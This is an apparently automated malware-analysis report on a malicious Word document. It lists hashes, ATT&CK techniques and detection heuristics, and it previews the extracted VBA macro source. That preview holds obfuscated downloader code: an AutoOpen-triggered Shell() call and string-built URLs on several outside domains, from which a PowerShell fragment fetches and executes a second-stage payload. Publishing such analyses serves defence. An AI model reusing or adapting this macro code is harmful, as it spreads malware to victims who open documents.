Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 92702e31e77a1e57…

MALICIOUS

Office (OLE)

155.0 KB Created: 2017-11-29 06:18:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: 1476a1f56aeb5ab5d73e0786a9b0ca4a SHA-1: 9d60ecd21f1ca57a8d96ace36edffd30b4784b42 SHA-256: 92702e31e77a1e57f50cd74ef34c2fa9e9412801d16f65d4ec460bee38cf15b9
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro triggers a Shell() call, which is highly suspicious. The script reconstructs a URL, 'http://salon-grazia.ru/qrp/h90w37jhMoXLRVj4oMkp', which is likely used to download and execute a second-stage payload. This indicates a macro-based downloader attack.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6387400-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6387400-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 77830 bytes
SHA-256: 23f855e9560874d0c29f045c663b9047576e61c99524624c9478eb8608652f34
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WjamAfHvQ"
Function uOmMXEIYj()
lzfbww = Array(StrReverse("PSObhLLzbG"), StrReverse("rwaRCOInUi"), StrReverse("uDOEJSSaCW"), StrReverse("QsaBLitbKa"), StrReverse("KCDzhJTWMT"), StrReverse("wDIPLMEJSO"), StrReverse("skuFqwWZGX"), StrReverse("VjdtXszPWA"))
mEjPnup = Mid("KSNECKreachEex+Eex(5Eex+EexgLabc Eex+Eexin 5WQuMB9zXE1cA7f5mFQ2", 7, 38)
XhTGojSXNZu = Array(StrReverse("iDaGZlzvkE"), StrReverse("WhkVlbcjOE"), StrReverse("TWiCzworrt"), StrReverse("SAhFOMVisz"), StrReverse("WMfGDtjVdP"), StrReverse("MGpkdHVYHa"), StrReverse("zHDrmVzfGZ"), StrReverse("GuoOiHrcwF"))
NzHCjl = Array(StrReverse("zwOjXMkLpz"), StrReverse("ajJvhaHwIi"), StrReverse("ntPpzSaOrT"), StrReverse("MomRPvWLii"), StrReverse("OLjHwlWiLz"), StrReverse("kBGoNFhYmF"), StrReverse("mVTVmlzsfl"), StrReverse("EwPiUcJHsL"))
nUkLJNpb = Array(StrReverse("QwpsAAnwDs"), StrReverse("FpYrBwUVHi"), StrReverse("pZToBRTsaj"), StrReverse("aHaOibRmRN"), StrReverse("BSuarkuksL"), StrReverse("WUaTzrfArj"), StrReverse("jvYWSwPKNZ"), StrReverse("ihEuhWiszQ"))
riUrMMw = Mid("FjzVE5idI8p5SKAFEex+Eexh/,htLbH+LbHtpEex+Eex:Eex+Eex//salon-LbH+LbHEex+EexgrazLbH+LbHia.ru/'+'LbH+LbHHEex+Eexqrp/Eex+Eex,hLbH+Lbp90w37jhMoXLRVj4oMkp", 15, 114)
iPTRzww = Array(StrReverse("vrCujLiwDK"), StrReverse("OzYdssrOVK"), StrReverse("oiCZtolbTl"), StrReverse("wZjaJuSZmb"), StrReverse("DwoVXGXmmb"), StrReverse("kvmhWQocAv"), StrReverse("ZGiSOoRwTz"), StrReverse("aSbtHqqhCm"))
lSiWVXs = Array(StrReverse("XjzOKGhGQm"), StrReverse("vRuijFuXIt"), StrReverse("UkXSjoQfma"), StrReverse("NmDaMzvJMM"), StrReverse("QJtaiNnVNb"), StrReverse("cGkDwnMjhW"), StrReverse("pBTqZINTWj"), StrReverse("KkLwcLqwoS"))
EHolJbwWVqk = Array(StrReverse("iZNOPITZvn"), StrReverse("AwPkIqqvVd"), StrReverse("ZvCzjpcPDh"), StrReverse("DtGYYlBJiT"), StrReverse("BwRfajQZZY"), StrReverse("vijDvmXNhZ"), StrReverse("fEVOkGprLW"), StrReverse("phQBbdiWZw"))
dEYPwcji = Mid("zimYnRnhZajbXjtRkzexilik.Eex+EexxyzEex+Eex/Eex+E'+'exSkRaEex+EexgptdG/,h'+'ttp://raEex+EexndEe'+'x+E'+'exevu-Eex+Eexdk.Eex+Eexru/qEex+Eex/,htEex+Eextp:/Eex+Eex/tLbH+LbHaswinEex+Eexes.LbH+LbHco.uk/n8PTpjmL3Ld3HFzAFs", 19, 178)
mhjFisUKr = Array(StrReverse("AuSKwGCziY"), StrReverse("kObpWPpCAV"), StrReverse("zTziRrvnbk"), StrReverse("wPsOVvjJsT"), StrReverse("FOpzwvIVaM"), StrReverse("VnwTShvntH"), StrReverse("LOXtcUWNTa"), StrReverse("jjKhPliBjV"))
XlzEi = Array(StrReverse("YDqfmVMDcm"), StrReverse("OnbEnzaCvT"), StrReverse("uZNCiNSfbR"), StrReverse("HBolBcNqcP"), StrReverse("ulOZHCFLNd"), StrReverse("CbaFCwpnwY"), StrReverse("ChbKiNwqDL"), StrReverse("jjajZJLovj"))
chiqDjmzMcn = Array(StrReverse("iiaStfHqlX"), StrReverse("wCazUGLRlk"), StrReverse("aJjERTzztp"), StrReverse("kqjSSzGkvj"), StrReverse("fstPRtEIcB"), StrReverse("cqVuLUvVBa"), StrReverse("fJwwnHSIhU"), StrReverse("zbVCEhPTnX"))
QwbjiP = Mid("OnfHQdZDIprWQ6NdfinIenv:pEex+EexuEex+Eexblic + M1Eex+EexpE7bM1p Eex+Eex+Eex+Eex 5gEex'+'+EexLkarapaEex+EexsEex+Eex +Eex+Eex'+' MEex+Eex1pEex+Eex.Eex+EexexEex+EexeEex+EexME'+'e'+'x+Eex1p;Eex+ELbH+LbHexfoS54q9El", 21, 182)
IpiEUis = Array(StrReverse("HGRzPfajiC"), StrReverse("nauDMMJDuu"), StrReverse("DPICuTBuft"), StrReverse("nArPQwQivw"), StrReverse("mPHAXIpWUN"), StrReverse("zHtBdswODw"), StrReverse("ijDpPmifnP"), StrReverse("vfHwHoIHfl"))
RrrqDEidni = Array(StrReverse("OrVsMtUoHz"), StrReverse("EkiVDVvwbJ"), StrReverse("bwaHBBUTqd"), StrReverse("EciiLooEkt"), StrReverse("miAjQPszwi"), StrReverse("lTrdwSQNrK"), StrReverse("YAwdtbBEKP"), StrReverse("hrMiWwvqrm"))
upzvUitijbj = Array(StrReverse("PUwVjwaSfh"), StrReverse("XtkpiQwmvu"), StrReverse("AWOvianQGI"), StrReverse("BJvKhJicAY"), StrReverse("XmbqtNEvEf"), StrReverse("SjbwusGArI"), StrReverse("KJMXfOwZHU"), StrReverse("mVmXXOuXCR"))
zcPrCJz = Mid("z7h . ( $eNV:puBlIc[13]+$ENv:PuBLiC[5]+'X')( (('invoK
... (truncated)

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